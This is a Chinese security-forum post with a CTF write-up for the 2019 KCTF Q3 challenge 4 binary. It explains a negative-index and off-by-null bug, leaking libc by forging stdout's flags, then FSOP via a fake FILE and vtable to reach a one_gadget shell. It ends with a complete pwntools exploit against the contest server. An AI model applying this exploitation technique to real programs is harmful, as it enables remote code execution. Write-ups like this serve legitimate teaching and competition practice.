首页
社区
课程
招聘
[原创]2019KCTF Q3 第4题:卧薪尝胆 Writeup
2019-9-25 17:53 5145

[原创]2019KCTF Q3 第4题:卧薪尝胆 Writeup

2019-9-25 17:53
5145

卧薪尝胆 Writeup 

一道给了libc的菜单题,没有show功能,在程序一开始有个类似于初始化的函数

具体是进行了malloc_hook和free_hook的替换,目的就是让我们无法修改malloc_hook或者free_hook来劫持流程

checksec一下:全保护


漏洞点

1.在edit时对输入的索引没有检查为负数的情况

2.在edit的时候存在off by null


利用思路(Onegadget):

1. 由于程序没有show功能,但我们可以修改IO_FILE结构体(_IO_2_1_stdout)中的 _IO_write_base 来泄露libc基址

先来熟悉一下_IO_2_1_stdout的结构和虚函数表_IO_file_jumps的结构:


本题需要用的指针均已在红框内标识,下面讲一下泄露原理

puts函数的调用链:puts--> _IO_puts->_IO_new_file_xsputn->_IO_new_file_overflow->_IO_do_write->_IO_new_file_write
_IO_new_file_overflow  源码:
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    ......
    ......
    }
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
			 f->_IO_write_ptr - f->_IO_write_base); //!!!size的计算在这里
  if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
    if (_IO_do_flush (f) == EOF)
      return EOF;
  *f->_IO_write_ptr++ = ch;
  if ((f->_flags & _IO_UNBUFFERED)
      || ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
    if (_IO_do_write (f, f->_IO_write_base,
		      f->_IO_write_ptr - f->_IO_write_base) == EOF)
      return EOF;
  return (unsigned char) ch;
}

这里可以看到在_IO_do_write函数中,在调试的时候 发现f->_IO_write_ptr  -  f->_IO_write_base = 0 ,也就是说不会打印出任何信息。 所以我们需要修改_IO_write_base并且小于_IO_write_ptr,那么size不会等于0,以达到泄露的目的


new_do_write 源码:

static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);	//最终的打印在这里,类似于write函数
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

目标函数是 _IO_SYSWRITE, 为了顺利到达这里, 我们需要让_flags标志满足上述的一些条件

_flags标志的一些宏:

#define _IO_MAGIC         0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK    0xFFFF0000
#define _IO_USER_BUF          0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED        0x0002
#define _IO_NO_READS          0x0004 /* Reading not allowed.  */
#define _IO_NO_WRITES         0x0008 /* Writing not allowed.  */
#define _IO_EOF_SEEN          0x0010
#define _IO_ERR_SEEN          0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close.  */
#define _IO_LINKED            0x0080 /* In the list of all open files.  */
#define _IO_IN_BACKUP         0x0100
#define _IO_LINE_BUF          0x0200
#define _IO_TIED_PUT_GET      0x0400 /* Put and get pointer move in unison.  */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING      0x1000
#define _IO_IS_FILEBUF        0x2000
                           /* 0x4000  No longer used, reserved for compat.  */
#define _IO_USER_LOCK         0x8000

那就可以得到_flags需要满足的条件:
_flags = 0xfbad0000  
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800


由于在编辑时我们索引输入为‘-6’,就可以修改stdout,那么我们payload的构造如下,如此便能泄露libc基址

edit('-6',p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = p.recv(0x20)
leak = leak[0x18:]
libc_base = u64(leak[:6].ljust(8,"\x00"))-libc.symbols["_IO_file_jumps"]

2. FSOP的利用: FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,那么我们可以修改_chain指向伪造的IO_FILE结构体 ,在伪造的IO_FILE结构中,vtable虚函数表也由我们自定义,将表中第四项__overflow修改为one_gadget地址

FSOP的具体利用可参考资料: https://xz.aliyun.com/t/5508#toc-2( IO FILE 之劫持vtable及FSOP )
1.  修改_chain指向伪造的IO_FILE结构体

edit('-6', p64(0xfbad1800) + 
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(0)*4  + 
p64(fake_IO))

2.在伪造的结构体中要绕过检查,即fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base ,构造的payload如下:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
       || (_IO_vtable_offset (fp) == 0
           && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))

fake_IO_FILE: 

edit('0', p64(0)*3 + p64(255) + p64(0)*21 + p64(fake_vt))

fake_vtable:

edit('1', p64(0)*3 + p64(shell))


3.哪些函数会触发 _IO_flush_all_lockp?

①libc执行abort函数时 ②程序执行exit函数时 ③程序从main函数返回时

来看一下exit函数的栈回溯:

_IO_flush_all_lockp ()
_IO_cleanup ()
__run_exit_handlers ()
__GI_exit ()
main ()
__libc_start_main ()
_start ()


3.退出程序会调用exit(0),最终触发_IO_flush_all_lockp,绕过检查,调用_IO_overflow时执行one_gadget,即可getshell!



附上完整的exp:
from pwn import *

def malloc(size):
    p.recvuntil('>>')
    p.sendline('1')
    p.recvuntil('Input size : ')
    p.sendline(str(size))
def edit(id,data):
    p.recvuntil('>>')
    p.sendline('3')
    p.recvuntil('Input idx : ')
    p.sendline(str(id))
    p.recvuntil('Input text : ')
    p.sendline(data)
def free(id):
    p.recvuntil('>>')
    p.sendline('2')
    p.recvuntil('Input idx : ')
    p.sendline(str(id))
def exit():
    p.recvuntil('>>')
    p.sendline('4')

def wait(size):
    p.recvuntil('>>')
    p.sendline('1')

#context.log_level = 'debug'
#p = process('./pwn')
p = remote('154.8.174.214',10001)
libc = ELF('libc-2.23.so')
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

edit('-6',p64(0xfbad1800) + p64(0)*3 + "\x00")
leak = p.recv(0x20)
leak = leak[0x18:]
libc_base = u64(leak[:6].ljust(8,"\x00"))-libc.symbols["_IO_file_jumps"]
print hex(libc_base)
shell = libc_base + gadgets[1]
print hex(shell)

malloc(0x200)
p.recvuntil("heap 0 : 0x")
fake_IO = int(p.recv(12),16)-0x10
print hex(fake_IO)
malloc(0x200)
p.recvuntil("heap 1 : 0x")
fake_vt = int(p.recv(12),16)
print hex(fake_vt)

edit('-6', p64(0xfbad1800) + 
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a4) +
p64(libc_base+0x3c56a3) +
p64(libc_base+0x3c56a4) +
p64(0)*4  + 
p64(fake_IO))
edit('0', p64(0)*3 + p64(255) + p64(0)*21 + p64(fake_vt))
edit('1', p64(0)*3 + p64(shell))

exit()
p.interactive()




[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2019-9-25 23:47 被binarymen编辑 ,原因:
上传的附件:
收藏
点赞1
打赏
分享
最新回复 (3)
雪    币: 26435
活跃值: (18468)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2019-9-25 21:25
2
0
图片丢失了,麻烦重新上传一下
雪    币: 1122
活跃值: (84)
能力值: ( LV6,RANK:88 )
在线值:
发帖
回帖
粉丝
binarymen 2019-9-25 23:48
3
0
kanxue 图片丢失了,麻烦重新上传一下
已重新上传!
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:15 )
在线值:
发帖
回帖
粉丝
init-0 2019-9-27 10:20
4
0
学习学习
游客
登录 | 注册 方可回帖
返回